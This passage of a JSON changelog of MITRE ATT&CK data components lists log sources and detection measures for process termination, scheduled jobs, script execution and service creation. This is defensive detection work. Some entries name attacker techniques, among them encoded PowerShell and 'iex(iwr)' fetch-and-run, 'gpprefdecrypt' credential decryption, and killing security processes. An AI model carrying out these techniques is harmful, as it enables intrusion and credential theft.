\"ES_EVENT_TYPE_NOTIFY_EXEC, ES_EVENT_TYPE_NOTIFY_MMAP\"}, {\"name\": \"WinEventLog:Microsoft-Windows-CodeIntegrity/Operational\", \"channel\": \"Unsigned/invalid signature modules or images loaded by msbuild.exe or its children\"}, {\"name\": \"WinEventLog:Microsoft-Windows-DeviceGuard/Operational\", \"channel\": \"WDAC policy audit/block affecting msbuild.exe spawned payloads\"}, {\"name\": \"WinEventLog:Microsoft-Windows-SmartAppControl/Operational\", \"channel\": \"Smart App Control decisions (audit/block) for msbuild.exe-launched executables\"}, {\"name\": \"WinEventLog:Microsoft-Windows-CodeIntegrity/Operational\", \"channel\": \"Unsigned or untrusted modules loaded during JamPlus.exe runtime\"}]}, \"dictionary_item_removed\": {\"root['x_mitre_data_source_ref']\": \"x-mitre-data-source--e8b8ede7-337b-4c0c-8c32-5c7872c1ee22\"}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-21 15:14:35.331000+00:00\", \"old_value\": \"2025-04-18 15:10:37.873000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.0\", \"old_value\": \"1.0\"}}}", + "previous_version": "1.0", + "version_change": "1.0 \u2192 2.0" + }, + { + "type": "x-mitre-data-component", + "id": "x-mitre-data-component--61f1d40e-f3d0-4cc6-aa2d-937b6204194f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-10-20 15:05:19.272000+00:00", + "modified": "2025-10-21 15:14:36.181000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/datacomponents/DC0033", + "external_id": "DC0033" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Process Termination", + "description": "The exit or termination of a running process on a system. This can occur due to normal operations, user-initiated commands, or malicious actions such as process termination by malware to disable security controls.\n\n*Data Collection Measures:*\n\n- Endpoint Detection and Response (EDR) Tools:\n - Monitor process termination events.\n- Windows Event Logs:\n - Event ID 4689 (Process Termination) \u2013 Captures when a process exits, including process ID and parent process.\n - Event ID 7036 (Service Control Manager) \u2013 Monitors system service stops.\n- Sysmon (Windows):\n - Event ID 5 (Process Termination) \u2013 Detects when a process exits, including parent-child relationships.\n- Linux/macOS Monitoring:\n - AuditD (`execve`, `exit_group`, `kill` syscalls) \u2013 Captures process termination via command-line interactions.\n - eBPF/XDP: Monitors low-level system calls related to process termination.\n - OSQuery: The processes table can be queried for abnormal exits.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_log_sources": [ + { + "name": "Process", + "channel": "None" + }, + { + "name": "WinEventLog:Sysmon", + "channel": "EventCode=5" + }, + { + "name": "linux:syslog", + "channel": "Unexpected termination of daemons or critical services not aligned with admin change tickets" + }, + { + "name": "macos:osquery", + "channel": "process_termination: Unexpected termination of processes tied to vulnerable or high-value services" + }, + { + "name": "esxi:hostd", + "channel": "Log entries indicating VM powered off or forcibly terminated" + }, + { + "name": "macos:unifiedlog", + "channel": "Terminal process killed (killall Terminal) immediately after sudoers modification" + }, + { + "name": "auditd:SYSCALL", + "channel": "exit_group" + }, + { + "name": "macos:unifiedlog", + "channel": "process.*exit.*code" + }, + { + "name": "linux:osquery", + "channel": "unexpected termination of syslog or rsyslog processes" + }, + { + "name": "auditd:SYSCALL", + "channel": "Process segfault or abnormal termination after invoking vulnerable syscall sequence" + }, + { + "name": "auditd:SYSCALL", + "channel": "kill syscalls targeting logging/security processes" + }, + { + "name": "macos:unifiedlog", + "channel": "Termination of syspolicyd or XProtect processes" + }, + { + "name": "docker:runtime", + "channel": "Termination of monitoring sidecar or security container" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "ics-attack", + "mobile-attack", + "enterprise-attack" + ], + "detailed_diff": "{\"dictionary_item_added\": {\"root['external_references']\": [{\"source_name\": \"mitre-attack\", \"url\": \"https://attack.mitre.org/datacomponents/DC0033\", \"external_id\": \"DC0033\"}], \"root['x_mitre_log_sources']\": [{\"name\": \"Process\", \"channel\": \"None\"}, {\"name\": \"WinEventLog:Sysmon\", \"channel\": \"EventCode=5\"}, {\"name\": \"linux:syslog\", \"channel\": \"Unexpected termination of daemons or critical services not aligned with admin change tickets\"}, {\"name\": \"macos:osquery\", \"channel\": \"process_termination: Unexpected termination of processes tied to vulnerable or high-value services\"}, {\"name\": \"esxi:hostd\", \"channel\": \"Log entries indicating VM powered off or forcibly terminated\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Terminal process killed (killall Terminal) immediately after sudoers modification\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"exit_group\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"process.*exit.*code\"}, {\"name\": \"linux:osquery\", \"channel\": \"unexpected termination of syslog or rsyslog processes\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"Process segfault or abnormal termination after invoking vulnerable syscall sequence\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"kill syscalls targeting logging/security processes\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Termination of syspolicyd or XProtect processes\"}, {\"name\": \"docker:runtime\", \"channel\": \"Termination of monitoring sidecar or security container\"}]}, \"dictionary_item_removed\": {\"root['x_mitre_data_source_ref']\": \"x-mitre-data-source--e8b8ede7-337b-4c0c-8c32-5c7872c1ee22\"}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-21 15:14:36.181000+00:00\", \"old_value\": \"2025-04-18 15:10:34.519000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.0\", \"old_value\": \"1.1\"}}}", + "previous_version": "1.1", + "version_change": "1.1 \u2192 2.0" + }, + { + "type": "x-mitre-data-component", + "id": "x-mitre-data-component--4c12c1c8-bcef-4daf-8e5b-fca235f71d9e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2022-05-11 16:22:58.802000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/datacomponents/DC0109", + "external_id": "DC0109" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Process/Event Alarm", + "description": "This includes a list of any process alarms or alerts produced to indicate unusual or concerning activity within the operational process (e.g., increased temperature/pressure)", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_log_sources": [ + { + "name": "Operational Databases", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "ics-attack" + ], + "detailed_diff": "{\"dictionary_item_added\": {\"root['external_references']\": [{\"source_name\": \"mitre-attack\", \"url\": \"https://attack.mitre.org/datacomponents/DC0109\", \"external_id\": \"DC0109\"}], \"root['x_mitre_log_sources']\": [{\"name\": \"Operational Databases\", \"channel\": \"None\"}]}, \"dictionary_item_removed\": {\"root['x_mitre_data_source_ref']\": \"x-mitre-data-source--1b8c9f31-ad35-4850-bf8c-80c565ad3552\"}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-21 15:10:28.402000+00:00\", \"old_value\": \"2025-04-25 14:39:52.496000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.0\", \"old_value\": \"1.0\"}}}", + "previous_version": "1.0", + "version_change": "1.0 \u2192 2.0" + }, + { + "type": "x-mitre-data-component", + "id": "x-mitre-data-component--f42df6f0-6395-4f0c-9376-525a031f00c3", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-10-20 15:05:19.271000+00:00", + "modified": "2025-10-21 15:14:35.814000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/datacomponents/DC0001", + "external_id": "DC0001" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Scheduled Job Creation", + "description": "The establishment of a task or job that will execute at a predefined time or based on specific triggers.\n\n*Data Collection Measures: *\n\n- Windows Event Logs:\n - Event ID 4698 (Scheduled Task Created) \u2013 Detects the creation of new scheduled tasks.\n - Event ID 4702 (Scheduled Task Updated) \u2013 Identifies modifications to existing scheduled jobs.\n - Event ID 106 (TaskScheduler Operational Log) \u2013 Provides details about scheduled task execution.\n- Sysmon (Windows):\n - Event ID 1 (Process Creation) \u2013 Detects the execution of suspicious tasks started by `schtasks.exe`, `at.exe`, or `taskeng.exe`.\n- Linux/macOS Monitoring:\n - AuditD: Monitor modifications to `/etc/cron*`, `/var/spool/cron/`, and `crontab` files.\n - Syslog: Capture cron job execution logs from `/var/log/cron`.\n - OSQuery: Query the `crontab` and `launchd` tables for scheduled job configurations.\n- Endpoint Detection and Response (EDR) Tools:\n - Track scheduled task creation and modification events.\n- SIEM & XDR Detection Rules:\n - Monitor for scheduled jobs created by unusual users.\n - Detect tasks executing scripts from non-standard directories.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_log_sources": [ + { + "name": "Scheduled Job", + "channel": "None" + }, + { + "name": "WinEventLog:Security", + "channel": "EventCode=4698" + }, + { + "name": "linux:syslog", + "channel": "Execution of non-standard script or binary by cron" + }, + { + "name": "WinEventLog:TaskScheduler", + "channel": "EventCode=106" + }, + { + "name": "linux:osquery", + "channel": "crontab, systemd_timers" + }, + { + "name": "macos:osquery", + "channel": "launchd_jobs" + }, + { + "name": "esxi:vmkernel", + "channel": "Startup script and task execution logs" + }, + { + "name": "kubernetes:apiserver", + "channel": "verb=create, resource=cronjobs, group=batch" + }, + { + "name": "linux:osquery", + "channel": "file_events" + }, + { + "name": "macos:unifiedlog", + "channel": "process: crontab edits, launch of cron job" + }, + { + "name": "macos:osquery", + "channel": "file_events - cron, launchd" + }, + { + "name": "esxi:cron", + "channel": "execution of scheduled job" + }, + { + "name": "esxi:hostd", + "channel": "task creation events" + }, + { + "name": "macos:cron", + "channel": "cron/launchd" + }, + { + "name": "WinEventLog:Security", + "channel": "EventCode=4699" + }, + { + "name": "linux:cron", + "channel": "Scheduled execution of unknown or unusual script/binary" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "ics-attack", + "enterprise-attack" + ], + "detailed_diff": "{\"dictionary_item_added\": {\"root['external_references']\": [{\"source_name\": \"mitre-attack\", \"url\": \"https://attack.mitre.org/datacomponents/DC0001\", \"external_id\": \"DC0001\"}], \"root['x_mitre_log_sources']\": [{\"name\": \"Scheduled Job\", \"channel\": \"None\"}, {\"name\": \"WinEventLog:Security\", \"channel\": \"EventCode=4698\"}, {\"name\": \"linux:syslog\", \"channel\": \"Execution of non-standard script or binary by cron\"}, {\"name\": \"WinEventLog:TaskScheduler\", \"channel\": \"EventCode=106\"}, {\"name\": \"linux:osquery\", \"channel\": \"crontab, systemd_timers\"}, {\"name\": \"macos:osquery\", \"channel\": \"launchd_jobs\"}, {\"name\": \"esxi:vmkernel\", \"channel\": \"Startup script and task execution logs\"}, {\"name\": \"kubernetes:apiserver\", \"channel\": \"verb=create, resource=cronjobs, group=batch\"}, {\"name\": \"linux:osquery\", \"channel\": \"file_events\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"process: crontab edits, launch of cron job\"}, {\"name\": \"macos:osquery\", \"channel\": \"file_events - cron, launchd\"}, {\"name\": \"esxi:cron\", \"channel\": \"execution of scheduled job\"}, {\"name\": \"esxi:hostd\", \"channel\": \"task creation events\"}, {\"name\": \"macos:cron\", \"channel\": \"cron/launchd\"}, {\"name\": \"WinEventLog:Security\", \"channel\": \"EventCode=4699\"}, {\"name\": \"linux:cron\", \"channel\": \"Scheduled execution of unknown or unusual script/binary\"}]}, \"dictionary_item_removed\": {\"root['x_mitre_data_source_ref']\": \"x-mitre-data-source--c9ddfb51-eb45-4e22-b614-44ac1caa7883\"}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-21 15:14:35.814000+00:00\", \"old_value\": \"2025-04-18 15:11:43.635000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.0\", \"old_value\": \"1.1\"}}}", + "previous_version": "1.1", + "version_change": "1.1 \u2192 2.0" + }, + { + "type": "x-mitre-data-component", + "id": "x-mitre-data-component--7b375092-3a61-448d-900a-77c9a4bde4dc", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-10-20 15:05:19.271000+00:00", + "modified": "2025-10-22 19:03:38.549000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/data-components/DC0005", + "external_id": "DC0005" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Scheduled Job Metadata", + "description": "Contextual data about a scheduled job, which may include information such as name, timing, command(s), etc.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_log_sources": [ + { + "name": "Scheduled Job", + "channel": "None" + }, + { + "name": "linux:cron", + "channel": "/var/log/syslog or journalctl" + }, + { + "name": "fs:fileevents", + "channel": "/Library/LaunchDaemons/*.plist, ~/Library/LaunchAgents/*.plist" + }, + { + "name": "WinEventLog:TaskScheduler", + "channel": "Task registration/execution shortly after a time discovery event" + }, + { + "name": "linux::cron", + "channel": "crontab or at job created within TimeWindow post time discovery" + }, + { + "name": "macos:unifiedlog", + "channel": "New/modified launchd plist (persistence/scheduling) within TimeWindow after time query" + }, + { + "name": "esxi:syslog", + "channel": "/var/log/vpxa.log task invocations tied to time configuration" + }, + { + "name": "WinEventLog:System", + "channel": "EventCode=106, 200" + }, + { + "name": "linux:cron", + "channel": "cron activity" + }, + { + "name": "macos:launchd", + "channel": "launchd.plist and logs" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "2.0", + "x_mitre_data_source_ref": "", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack", + "ics-attack" + ], + "detailed_diff": "{\"dictionary_item_added\": {\"root['external_references']\": [{\"source_name\": \"mitre-attack\", \"url\": \"https://attack.mitre.org/data-components/DC0005\", \"external_id\": \"DC0005\"}], \"root['x_mitre_log_sources']\": [{\"name\": \"Scheduled Job\", \"channel\": \"None\"}, {\"name\": \"linux:cron\", \"channel\": \"/var/log/syslog or journalctl\"}, {\"name\": \"fs:fileevents\", \"channel\": \"/Library/LaunchDaemons/*.plist, ~/Library/LaunchAgents/*.plist\"}, {\"name\": \"WinEventLog:TaskScheduler\", \"channel\": \"Task registration/execution shortly after a time discovery event\"}, {\"name\": \"linux::cron\", \"channel\": \"crontab or at job created within TimeWindow post time discovery\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"New/modified launchd plist (persistence/scheduling) within TimeWindow after time query\"}, {\"name\": \"esxi:syslog\", \"channel\": \"/var/log/vpxa.log task invocations tied to time configuration\"}, {\"name\": \"WinEventLog:System\", \"channel\": \"EventCode=106, 200\"}, {\"name\": \"linux:cron\", \"channel\": \"cron activity\"}, {\"name\": \"macos:launchd\", \"channel\": \"launchd.plist and logs\"}]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-22 19:03:38.549000+00:00\", \"old_value\": \"2025-04-25 14:39:56.271000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.0\", \"old_value\": \"1.0\"}, \"root['x_mitre_data_source_ref']\": {\"new_value\": \"\", \"old_value\": \"x-mitre-data-source--c9ddfb51-eb45-4e22-b614-44ac1caa7883\"}}, \"iterable_item_added\": {\"root['x_mitre_domains'][1]\": \"ics-attack\"}}", + "previous_version": "1.0", + "version_change": "1.0 \u2192 2.0" + }, + { + "type": "x-mitre-data-component", + "id": "x-mitre-data-component--faa34cf6-cf32-4dc9-bd6a-8f7a606ff65b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-10-20 15:05:19.271000+00:00", + "modified": "2025-10-21 15:14:38.292000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/datacomponents/DC0012", + "external_id": "DC0012" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Scheduled Job Modification", + "description": "Changes made to an existing scheduled job, including modifications to its execution parameters, command payload, or execution timing.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_log_sources": [ + { + "name": "Scheduled Job", + "channel": "None" + }, + { + "name": "auditd:CONFIG_CHANGE", + "channel": "/var/log/audit/audit.log" + }, + { + "name": "m365:exchange", + "channel": "Remove-InboxRule, Clear-Mailbox" + }, + { + "name": "WinEventLog:Security", + "channel": "EventCode=4702" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "ics-attack", + "enterprise-attack" + ], + "detailed_diff": "{\"dictionary_item_added\": {\"root['external_references']\": [{\"source_name\": \"mitre-attack\", \"url\": \"https://attack.mitre.org/datacomponents/DC0012\", \"external_id\": \"DC0012\"}], \"root['x_mitre_log_sources']\": [{\"name\": \"Scheduled Job\", \"channel\": \"None\"}, {\"name\": \"auditd:CONFIG_CHANGE\", \"channel\": \"/var/log/audit/audit.log\"}, {\"name\": \"m365:exchange\", \"channel\": \"Remove-InboxRule, Clear-Mailbox\"}, {\"name\": \"WinEventLog:Security\", \"channel\": \"EventCode=4702\"}]}, \"dictionary_item_removed\": {\"root['x_mitre_data_source_ref']\": \"x-mitre-data-source--c9ddfb51-eb45-4e22-b614-44ac1caa7883\"}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-21 15:14:38.292000+00:00\", \"old_value\": \"2025-04-18 15:11:40.267000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.0\", \"old_value\": \"1.0\"}}}", + "previous_version": "1.0", + "version_change": "1.0 \u2192 2.0" + }, + { + "type": "x-mitre-data-component", + "id": "x-mitre-data-component--9f387817-df83-432a-b56b-a8fb7f71eedd", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-10-20 15:05:19.272000+00:00", + "modified": "2025-10-21 15:14:36.018000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/datacomponents/DC0029", + "external_id": "DC0029" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Script Execution", + "description": "The execution of a text file that contains code via the interpreter.\n\n*Data Collection Measures:*\n\n- Windows Event Logs:\n - Event ID 4104 (PowerShell Script Block Logging) \u2013 Captures full command-line execution of PowerShell scripts.\n - Event ID 4688 (Process Creation) \u2013 Detects script execution by tracking process launches (`powershell.exe`, `wscript.exe`, `cscript.exe`).\n - Event ID 5861 (Script Execution) \u2013 Captures script execution via Windows Defender AMSI logging.\n- Sysmon (Windows):\n - Event ID 1 (Process Creation) \u2013 Monitors script execution initiated by scripting engines.\n - Event ID 11 (File Creation) \u2013 Detects new script files written to disk before execution.\n- Endpoint Detection and Response (EDR) Tools:\n - Track script execution behavior, detect obfuscated commands, and prevent malicious scripts.\n- PowerShell Logging:\n - Enable Module Logging: Logs all loaded modules and cmdlets.\n - Enable Script Block Logging: Captures complete PowerShell script execution history.\n- SIEM Detection Rules:\n - Detect script execution with obfuscated, encoded, or remote URLs.\n - Alert on script executions using `-EncodedCommand` or `iex(iwr)`.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_log_sources": [ + { + "name": "Script", + "channel": "None" + }, + { + "name": "m365:office", + "channel": "VBA auto_open, auto_close, or document_open events" + }, + { + "name": "macos:unifiedlog", + "channel": "log stream --predicate 'eventMessage contains \"python\"'" + }, + { + "name": "linux:syslog", + "channel": "/var/log/syslog" + }, + { + "name": "WinEventLog:System", + "channel": "EventCode=1502, 1503" + }, + { + "name": "macos:unifiedlog", + "channel": "log stream --predicate 'eventMessage contains \"wscript\" OR \"vbs\"'" + }, + { + "name": "macos:unifiedlog", + "channel": "osascript or AppleScript invocation modifying UI" + }, + { + "name": "networkdevice:runtime", + "channel": "runtime" + }, + { + "name": "macos:unifiedlog", + "channel": "log" + }, + { + "name": "esxi:vmkernel", + "channel": "boot" + }, + { + "name": "macos:unifiedlog", + "channel": "AppleScript creating login item via 'System Events' dictionary" + }, + { + "name": "WinEventLog:PowerShell", + "channel": "EventCode=4103, 4104" + }, + { + "name": "WinEventLog:Application", + "channel": "Stored procedure creation, modification, or xp_cmdshell invocation via SQL logs or SQL Server auditing" + }, + { + "name": "ApplicationLogs:SQL", + "channel": "Stored procedure creation or modification with shell invocation (e.g., system(), exec())" + }, + { + "name": "macos:unifiedlog", + "channel": "subsystem=launchservices" + }, + { + "name": "WinEventLog:PowerShell", + "channel": "Set-ADUser or Set-ADAuthenticationPolicy with MFA attributes disabled" + }, + { + "name": "EDR:scriptblock", + "channel": "Process Tree + Script Block Logging" + }, + { + "name": "linux:syslog", + "channel": "boot logs" + }, + { + "name": "m365:defender", + "channel": "ScriptBlockLogging + AMSI" + }, + { + "name": "macos:unifiedlog", + "channel": "log stream with predicate 'eventMessage CONTAINS \"osascript\"'" + }, + { + "name": "etw:Microsoft-Antimalware-Scan-Interface", + "channel": "Amsi/Script content + API verdicts during in-memory staging" + }, + { + "name": "esxi:shell", + "channel": "None" + }, + { + "name": "WinEventLog:System", + "channel": "EventCode=4016,5312" + }, + { + "name": "auditd:PROCTITLE", + "channel": "scripting loop invoking sleep/ping" + }, + { + "name": "WinEventLog:PowerShell", + "channel": "Scripts with references to XML parsing, AES decryption, or gpprefdecrypt logic" + }, + { + "name": "macos:syslog", + "channel": "system.log, asl.log" + }, + { + "name": "macos:osquery", + "channel": "exec: Unexpected execution of osascript or AppleScript targeting sensitive apps" + }, + { + "name": "macos:unifiedlog", + "channel": "subsystem=com.apple.Security or com.apple.applescript" + }, + { + "name": "azure:activity", + "channel": "Microsoft.Compute/virtualMachines/runCommand/action: Abnormal initiation of Azure RunCommand jobs or PowerShell/Bash payloads" + }, + { + "name": "EDR:AMSI", + "channel": "Malicious inline C#/script blobs embedded in MSBuild projects if intercepted by AMSI-aware loaders (rare but possible via chained LOLBins)" + }, + { + "name": "macos:unifiedlog", + "channel": "osascript, AppleScript, or Python execution triggered immediately after HID connection" + }, + { + "name": "m365:unified", + "channel": "Scripted Activity" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "ics-attack", + "enterprise-attack" + ], + "detailed_diff": "{\"dictionary_item_added\": {\"root['external_references']\": [{\"source_name\": \"mitre-attack\", \"url\": \"https://attack.mitre.org/datacomponents/DC0029\", \"external_id\": \"DC0029\"}], \"root['x_mitre_log_sources']\": [{\"name\": \"Script\", \"channel\": \"None\"}, {\"name\": \"m365:office\", \"channel\": \"VBA auto_open, auto_close, or document_open events\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"log stream --predicate 'eventMessage contains \\\"python\\\"'\"}, {\"name\": \"linux:syslog\", \"channel\": \"/var/log/syslog\"}, {\"name\": \"WinEventLog:System\", \"channel\": \"EventCode=1502, 1503\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"log stream --predicate 'eventMessage contains \\\"wscript\\\" OR \\\"vbs\\\"'\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"osascript or AppleScript invocation modifying UI\"}, {\"name\": \"networkdevice:runtime\", \"channel\": \"runtime\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"log\"}, {\"name\": \"esxi:vmkernel\", \"channel\": \"boot\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"AppleScript creating login item via 'System Events' dictionary\"}, {\"name\": \"WinEventLog:PowerShell\", \"channel\": \"EventCode=4103, 4104\"}, {\"name\": \"WinEventLog:Application\", \"channel\": \"Stored procedure creation, modification, or xp_cmdshell invocation via SQL logs or SQL Server auditing\"}, {\"name\": \"ApplicationLogs:SQL\", \"channel\": \"Stored procedure creation or modification with shell invocation (e.g., system(), exec())\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"subsystem=launchservices\"}, {\"name\": \"WinEventLog:PowerShell\", \"channel\": \"Set-ADUser or Set-ADAuthenticationPolicy with MFA attributes disabled\"}, {\"name\": \"EDR:scriptblock\", \"channel\": \"Process Tree + Script Block Logging\"}, {\"name\": \"linux:syslog\", \"channel\": \"boot logs\"}, {\"name\": \"m365:defender\", \"channel\": \"ScriptBlockLogging + AMSI\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"log stream with predicate 'eventMessage CONTAINS \\\"osascript\\\"'\"}, {\"name\": \"etw:Microsoft-Antimalware-Scan-Interface\", \"channel\": \"Amsi/Script content + API verdicts during in-memory staging\"}, {\"name\": \"esxi:shell\", \"channel\": \"None\"}, {\"name\": \"WinEventLog:System\", \"channel\": \"EventCode=4016,5312\"}, {\"name\": \"auditd:PROCTITLE\", \"channel\": \"scripting loop invoking sleep/ping\"}, {\"name\": \"WinEventLog:PowerShell\", \"channel\": \"Scripts with references to XML parsing, AES decryption, or gpprefdecrypt logic\"}, {\"name\": \"macos:syslog\", \"channel\": \"system.log, asl.log\"}, {\"name\": \"macos:osquery\", \"channel\": \"exec: Unexpected execution of osascript or AppleScript targeting sensitive apps\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"subsystem=com.apple.Security or com.apple.applescript\"}, {\"name\": \"azure:activity\", \"channel\": \"Microsoft.Compute/virtualMachines/runCommand/action: Abnormal initiation of Azure RunCommand jobs or PowerShell/Bash payloads\"}, {\"name\": \"EDR:AMSI\", \"channel\": \"Malicious inline C#/script blobs embedded in MSBuild projects if intercepted by AMSI-aware loaders (rare but possible via chained LOLBins)\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"osascript, AppleScript, or Python execution triggered immediately after HID connection\"}, {\"name\": \"m365:unified\", \"channel\": \"Scripted Activity\"}]}, \"dictionary_item_removed\": {\"root['x_mitre_data_source_ref']\": \"x-mitre-data-source--12c1e727-7fa4-49b6-af81-366ed2ce231e\"}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-21 15:14:36.018000+00:00\", \"old_value\": \"2025-04-18 15:12:46.164000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.0\", \"old_value\": \"1.2\"}}}", + "previous_version": "1.2", + "version_change": "1.2 \u2192 2.0" + }, + { + "type": "x-mitre-data-component", + "id": "x-mitre-data-component--5297a638-1382-4f0c-8472-0d21830bf705", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-10-20 15:05:19.273000+00:00", + "modified": "2025-10-21 15:14:36.315000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/datacomponents/DC0060", + "external_id": "DC0060" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Service Creation", + "description": "The registration of a new service or daemon on an operating system.\n\n*Data Collection Measures:*\n\n- Windows Event Logs\n - Event ID 4697 - Captures the creation of a new Windows service.\n - Event ID 7045 - Captures services installed by administrators or adversaries.\n - Event ID 7034 - Could indicate malicious service modification or exploitation.\n- Sysmon Logs\n - Sysmon Event ID 1 - Process Creation (captures service executables).\n - Sysmon Event ID 4 - Service state changes (detects service installation).\n - Sysmon Event ID 13 - Registry modifications (captures service persistence changes).\n- PowerShell Logging\n - Monitor `New-Service` and `Set-Service` PowerShell cmdlets in Event ID 4104 (Script Block Logging).\n- Linux/macOS Collection Methods\n - AuditD & Syslog Daemon Logs (`/var/log/syslog`, `/var/log/messages`, `/var/log/daemon.log`)\n - AuditD Rules:\n - `auditctl -w /etc/systemd/system -p wa -k service_creation`\n - Detects changes to `systemd` service configurations.\n- Systemd Journals (`journalctl -u `)\n - Captures newly created systemd services.\n- LaunchDaemons & LaunchAgents (macOS)\n - Monitor `/Library/LaunchDaemons/` and `/Library/LaunchAgents/` for new plist files.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_log_sources": [ + { + "name": "Service", + "channel": "None" + }, + { + "name": "WinEventLog:System", + "channel": "EventCode=7036" + }, + { + "name": "auditd:CONFIG_CHANGE", 